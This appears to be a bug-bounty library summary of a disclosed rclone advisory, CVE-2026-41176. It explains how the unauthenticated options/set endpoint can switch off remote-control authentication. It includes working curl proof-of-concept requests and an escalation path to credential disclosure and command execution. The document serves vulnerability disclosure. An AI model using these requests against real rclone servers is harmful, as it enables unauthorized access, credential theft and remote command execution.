# Rclone: Unauthenticated options/set allows runtime auth bypass, leading to sensitive operations and command execution

Unauthenticated rclone RC options/set lets an attacker set rc.NoAuth=true, disabling the auth gate on protected RC methods and enabling config disclosure and command execution.

- Payout: Research
- Severity: critical
- Program: rclone
- Found by: 0wnerDied
- Disclosed: 2026-04-22
- CVE: CVE-2026-41176
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-25qr-6mpr-f7qx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-25qr-6mpr-f7qx
- Tags: area:cloud domain:infra impact:data-leak impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration vuln:rce

**Target:** rclone remote control (RC) HTTP API, options/set endpoint
**Root cause:** options/set is registered without AuthRequired:true yet mutates global runtime options including rc.NoAuth, and the RC server's authorization check reads that same mutable s.opt.NoAuth value.
**Steps:**
1. Start vulnerable server: `rclone rcd --rc-addr 127.0.0.1:5572` with no --rc-user/--rc-pass/--rc-htpasswd.
2. Confirm protected method blocked: `curl -sS -X POST http://127.0.0.1:5572/config/listremotes -H 'Content-Type: application/json' --data '{}'` returns HTTP 403.
3. Disable auth gate unauthenticated: `curl -sS -X POST http://127.0.0.1:5572/options/set -H 'Content-Type: application/json' --data '{"rc":{"NoAuth":true}}'` returns HTTP 200 {}.
4. Re-call protected method: `curl -sS -X POST http://127.0.0.1:5572/config/listremotes -H 'Content-Type: application/json' --data '{}'` now returns HTTP 200 with JSON.
**How found:** Code review of fs/rc/config.go and fs/rc/rcserver/rcserver.go: noticed options/set lacks AuthRequired:true while the auth check `if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth()` reads a mutable runtime value the same endpoint can set.
**Exploitation:** Attacker with network reach to an unauthenticated RC server POSTs {"rc":{"NoAuth":true}} to options/set, flipping the runtime auth gate; subsequent AuthRequired methods (config/listremotes, config/dump, config/get, operations/list, operations/copyfile, core/command) become callable without credentials, enabling config/credential disclosure, filesystem enumeration, and command execution via metadataMapper's exec.Command path.
**Escalation:** After bypass, chaining to operations/copyfile and core/command (and metadataMapper exec.Command) escalates from config disclosure to local file read and command execution.
**Insight:** When an unauthenticated config-mutation endpoint can write the same runtime flag the auth middleware reads, the flag itself becomes the bypass primitive; grep for auth checks that dereference mutable server options rather than immutable startup config.

## Proof of concept (copied exactly from the original report)

**Unauthenticated options/set disables rc.NoAuth**

```
curl -sS -X POST http://127.0.0.1:5572/options/set \
  -H 'Content-Type: application/json' \
  --data '{"rc":{"NoAuth":true}}'

Expected result: HTTP 200 `{}`
```

**Protected config/listremotes call after bypass**

```
curl -sS -X POST http://127.0.0.1:5572/config/listremotes \
  -H 'Content-Type: application/json' \
  --data '{}'

Expected result: HTTP 200 with a JSON response such as:

{"remotes":[]}
```

**Initial blocked config/listremotes request**

```
curl -sS -X POST http://127.0.0.1:5572/config/listremotes \
  -H 'Content-Type: application/json' \
  --data '{}'

Expected result: HTTP 403.
```

